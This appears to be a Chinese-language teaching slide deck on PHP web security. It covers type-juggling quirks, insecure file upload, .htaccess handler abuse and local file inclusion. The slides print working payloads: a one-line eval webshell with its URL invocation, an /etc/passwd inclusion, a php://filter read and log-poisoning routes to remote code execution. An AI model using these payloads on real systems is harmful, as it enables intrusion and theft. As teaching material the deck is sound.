Web Security PHP
講師:ItisCaleb
PHP
世界上最好ㄉ語言
PHP
PHP
PHP
- 網頁語言
- 動態、弱型別
- 直譯式
- 直接嵌入 HTML
PHP
<?php
echo("Hello World!")
?>
PHP
目前執行 PHP 主要是用
- Apache
- FastCGI(Apache、Nginx...)
PHP(Apache)
通常預設就會幫你開啟 PHP 相關的設定了
只要把 .php 的檔案放在 /var/www/html 裡就能執行
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
DirectoryIndex disabled
DirectoryIndex index.php index.html
<Directory /var/www/>
Options -Indexes
AllowOverride All
</Directory>
PHP(Nginx)
server {
root /var/www/html;
index index.html index.php;
location ~ \.php$ {
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME /var/www/php$fastcgi_script_name;
include fastcgi_params;
}
}
而 Nginx 要使用 PHP 則是需要去使用 fastcgi
預設也會幫你提供相關的設定檔,只需要直接引用即可
PHP
<?php
$a = $_GET['test'];
$b = [1,2,3];
var_dump($b);
echo($a);
?>
version: '3.7'
services:
php:
image: php:apache
volumes:
- ./index:/var/www/html
ports:
- "8000:80"
PHP
<?php
$array = array(
1 => "a",
"1" => "b",
1.5 => "c",
true => "d",
);
?>
PHP
Some Weird Stuff
'0e1234' == '0e4567'
<?php
var_dump('0e1234' == '0e4567'); // true
var_dump('123' == 123); //true
var_dump('abc' == 0); // true
?>
'0e1234' == '0e4567'
<?php
var_dump(md5('s878926199a') == md5('s155964671a')); // true
// 0e545993274517709034328855841020
// 0e342768416822451524974117254469
?>
Command Execution
<?php
system('whoami');
shell_exec('whoami');
echo `whoami`;
?>
File Upload
File-based Web Server
Apache 是一種 File-based 的 Web Server
也就是說會提供檔案本身,同時根據檔案的類型做不同的處理
$ cat /var/www/html/index.php
<?php echo 'Hello World'>
https://example.com/index.php
Hello World
Insecure Upload
如果我們可以上傳任意檔案,並且可以獲取到該檔案,則可以透過 Webshell 來 RCE
只要副檔名是 .php,且裡面有 <?php 就可以執行
<?php eval($_GET['a'])?>
https://example.com/webshell.php?a=system('ls')
Insecure Upload
(.htaccess)
.htaccess 是 Apache 的一種設定檔
同個資料夾下會優先套用 .htaccess 裡面的設定
而不是 apache.conf 裡面的設定
Insecure Upload
(.htaccess)
<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>
index.haha 會被當成 php 執行
Insecure Upload
(.htaccess)
<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>
$ cat /var/www/html/index.haha
<?php echo 'LOL'>
https://example.com/index.haha
LOL
How to prevent
- 檢查 POST 的 Content-Type
- 檢查副檔名,做副檔名的黑名單/白名單
LFI
Local File Inclusion
LFI
include()
The include
expression includes and evaluates the specified file.
LFI
- include()
- include_once()
- require()
- require_once()
LFI
<?php include($_GET['a']);?>
https://example.com/index.php?a=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
PHP filter
php://filter/convert.base64-encode/resource=index.php
PHP filter
php://filter/convert.base64-encode/resource=index.php
LFI to RCE
目前 LFI 有幾種玩法可以 RCE
- 上傳檔案
- Log file
- PEAR.php
Log file LFI
- access.log / error.log
- /proc/self/environ
- 把 payload 塞在 user-agent 裡面,然後 include 它
- 控制 session 內容
- /tmp/sess_{session_name}
PEAR LFI
Web Security PHP
By ItisCaleb (Caleb)
Web Security PHP
- 52